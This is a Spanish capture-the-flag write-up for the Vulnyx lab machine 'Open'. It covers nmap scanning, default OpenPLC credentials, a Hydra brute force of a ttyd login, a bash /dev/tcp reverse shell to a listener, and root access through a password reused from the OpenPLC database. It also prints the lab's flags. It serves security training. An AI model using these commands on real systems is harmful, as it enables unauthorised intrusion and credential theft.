Open Vulnyx (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 04:46 EDT
Nmap scan report for 192.168.5.88
Host is up (0.0076s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
7681/tcp open  http    ttyd 1.7.7-40e79c7 (libwebsockets 4.3.3-unknown)
|_http-server-header: ttyd/1.7.7-40e79c7 (libwebsockets/4.3.3-unknown)
|_http-title: Site doesn't have a title.
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=ttyd
8080/tcp open  http    Werkzeug httpd 2.3.7 (Python 3.11.2)
|_http-server-header: Werkzeug/2.3.7 Python/3.11.2
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /login
MAC Address: 08:00:27:75:AD:41 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.26 seconds

Veremos varios puertos interesantes, pero entre ellos veremos el puerto 80 y el puerto 8080, vamos a ver que alojan cada uno de ellos.

Si entramos en el puerto 80 veremos un apache2 normal sin nada interesantes, pero si entramos al puerto 8080 veremos un login de un software llamado openplc vamos a buscar algun exploit asociado con el.

URL = Exploit openplc

Veremos que hay uno asociado, no sabemos si la version es la correcta, pero si vemos en el codigo fuente como funciona por dentro veremos que por defecto prueba las credenciales por defecto de dicho software.

User: openplc
Pass: openplc

Escalate user tirex

Si las probamos directamente veremos que funcionan y estaremos dentro del panel de administrador, si ejecutamos el exploit no veremos que funcione, por lo que vamos a investigar un poco por el panel a ver que vemos.

Si nos vamos a usuarios veremos varios interesantes los cuales vamos a realizar una lista:

users.txt

root
tirex
openplc

Pero por SSH no veremos nada interesante, por lo que vamos a probar en el login del puerto 7681, si entramos dentro veremos que es un login de http-get, por lo que vamos a realizar lo siguiente:

Hydra

hydra -L users.txt -P <WORDLIST> http-get://<IP>:7681 -F -t 64 -I

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-23 10:20:43
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking http-get://192.168.5.88:7681/
[7681][http-get] host: 192.168.5.88   login: tirex   password: heaven
[STATUS] attack finished for 192.168.5.88 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-23 10:20:46

Veremos que hemos encontrados las credenciales del usuario tirex, si entramos dentro...

user: tirex
pass: heaven

Veremos que tenemos una shell en el servidor atraves de una web como el usuario tirex:

tirex@open:~$ whoami
tirex

Por lo que vamos a enviarnos una reverse shell para poder tener una mejor shell.

bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'

Antes de enviarlo nos pondremos a la escucha de esta forma:

nc -lvnp <PORT>

Ahora si enviamos lo anterior y volvemos a donde tenemos la escucha, veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.88] 49350
tirex@open:~$ whoami
whoami
tirex

Veremos que ha funcionado, por lo que vamos a sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Echo esto vamos a leer la flag del usuario.

user.txt

36537694f3321e7a7911d746f311ed1d

Escalate Privileges

Acordemonos de que antes vimos a un usuario en la web llamado root, puede ser que la web contenga las credenciales del propio root tambien a nivel de sistema, por lo que si nos vamos a donde se almacena OpenPLC que es donde se almacenan las contraseñas:

cd /opt/OpenPLC_v3/webserver

Veremos lo siguiente:

total 10016
drwxr-xr-x 8 tirex tirex    4096 ago 23 10:52 .
drwxr-xr-x 8 tirex tirex    4096 ago 22 19:11 ..
-rwxr-xr-x 1 tirex tirex      17 ago 23 10:45 active_program
-rw-r--r-- 1 tirex tirex    4607 ago 22 19:09 check_openplc_db.py
drwxr-xr-x 5 tirex tirex    4096 ago 23 10:45 core
-rw-r--r-- 1 tirex tirex    2006 ago 22 19:09 dnp3.cfg
-rwxr-xr-x 1 tirex tirex 9837872 ago 22 19:10 iec2c
drwxr-xr-x 2 tirex tirex    4096 ago 22 19:09 lib
-rw-r--r-- 1 tirex tirex    6458 ago 22 19:09 monitoring.py
-rw-r--r-- 1 tirex tirex   53248 ago 23 10:52 openplc.db
-rw-r--r-- 1 tirex tirex    7696 ago 22 19:09 openplc.py
-rw-r--r-- 1 tirex tirex   99861 ago 22 19:09 pages.py
drwxr-xr-x 2 tirex tirex    4096 ago 22 19:13 __pycache__
drwxr-xr-x 2 tirex tirex    4096 ago 22 19:11 scripts
drwxr-xr-x 3 tirex tirex    4096 ago 22 19:09 static
drwxr-xr-x 2 tirex tirex    4096 ago 23 10:52 st_files
-rwxr-xr-x 1 tirex tirex   35720 ago 22 19:10 st_optimizer
-rw-r--r-- 1 tirex tirex  159532 ago 22 19:09 webserver.py

De todo esto lo que nos interesa es la llamada openplc.db vemos que esta como el usuario que tenemos ahora a nivel de permisos, por lo que podremos utilizar sqlite3 para inspeccionar dicho .db de esta forma:

.tables

Info:

Programs   Settings   Slave_dev  Users

Vamos a volcar la informacion de Users a ver que vemos:

SELECT * FROM Users;

Info:

10|openplc|openplc|openplc@open.nyx|openplc|
11|tirex|tirex|tirex@open.nyx|Th3_r00t_is_G0d|
12|root|root|root@open.nyx|Th3_r00t_is_G0d|

Veremos que la contraseña de root en la pagina al igual que la de tirex es Th3_r00t_is_G0d por lo que vamos a probarla a nivel de sistema a ver si funciona.

su root

Metemos como contraseña Th3_r00t_is_G0d...

root@open:/opt/OpenPLC_v3/webserver# whoami
root

Veremos que con esto seremos root, por lo que leeremos la flag de root.

root.txt

bba5053c73653e33a5eefaefb4ad8e47

Last updated